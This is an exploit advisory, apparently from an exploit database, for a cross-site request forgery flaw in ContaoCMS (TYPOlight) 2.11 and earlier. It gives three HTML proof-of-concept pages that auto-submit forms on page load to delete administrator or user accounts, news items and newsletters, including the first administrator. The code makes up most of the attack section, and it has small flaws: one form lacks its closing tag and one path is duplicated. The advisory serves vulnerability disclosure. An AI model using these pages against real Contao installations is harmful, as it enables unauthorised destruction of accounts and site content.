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2.4 KiB
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55 lines
No EOL
2.4 KiB
Text
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# Exploit Title : ContaoCMS (aka TYPOlight) <= 2.11 CSRF (Delete Admin- Delete Article)
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# Date : 25-02-2012
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# Author : Ivano Binetti (http://ivanobinetti.com)
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# Software link : http://www.contao.org/en/download.html
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# Vendor site : http://www.contao.org
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# Version : 2.11.0 (latest) and lower
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# Tested on : Debian Squeeze (6.0)
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+------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+
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Summary
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1)Introduction
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2)Vulnerabilities Description
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2.1 Delete Administrators or Users
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2.2 Delete News
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2.3 Delete Newsletter
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1)Introduction
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Contao (fka TYPOlight) is "an open source content management system (CMS) for people who want a professional internet presence that
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is easy to maintain".
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2)Vulnerabilities Description
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Contao 2.11 (and lower) is affected by CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages
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(articles, news, newsletter and so on).
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2.1 Delete Administrators or Users
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<html>
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<body onload="javascript:document.forms[0].submit()">
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<H2>CSRF Exploit to delete ADMIN/USER account</H2>
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<form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=user&act=delete&id=2">
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</body>
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</html>
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Note that the is possible to delete any admin/user, also the first administrator (id=1) created during Contao's installation phase.
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2.2 Delete News
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<html>
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<body onload="javascript:document.forms[0].submit()">
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<H2>CSRF Exploit to delete News</H2>
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<form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=news&act=delete&id=1">
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</form>
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</body>
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</html>
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2.3 Delete Newsletter
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<html>
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<body onload="javascript:document.forms[0].submit()">
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<H2>CSRF Exploit to delete Newsletter</H2>
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<form method="POST" name="form0" action="http://<contao_ip>:80/contao/contao/main.php?do=newsletter&act=delete&id=1">
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</form>
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</body>
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</html>
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